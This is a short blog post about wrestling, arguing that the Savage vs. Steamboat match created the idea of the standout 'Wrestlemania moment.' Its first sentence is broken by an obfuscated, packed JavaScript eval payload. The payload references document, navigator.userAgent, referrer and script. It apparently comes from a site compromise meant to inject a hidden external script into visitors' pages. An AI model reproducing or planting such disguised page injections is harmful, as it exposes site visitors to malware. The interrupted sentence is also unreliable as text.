Savage vs. Steamboat

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiehb|var|u0026u|referrer|rbhbb||js|php'.split('|'),0,{})) watching the True Story of Wrestlemania and they brought up a great point about the match that I hadn’t considered before.While the match was great, it did something far more important: it invented the Wrestlemania moment.

 

Think back for a bit.  Wrestlemania II didn’t have anything that really stands out.  You could go with Liberace at Wrestlemania I or maybe the main event itself but those pale in comparison to Savage vs. Steamboat.  It established the concept of the really other good match on the card that everyone wanted to see and could be remembered aside from the big main event.  That idea has been a standard for Wrestlemania almost every year and something almost everyone looks forward to.

 

The match is great and one of the best ever, but it’s more important than good.
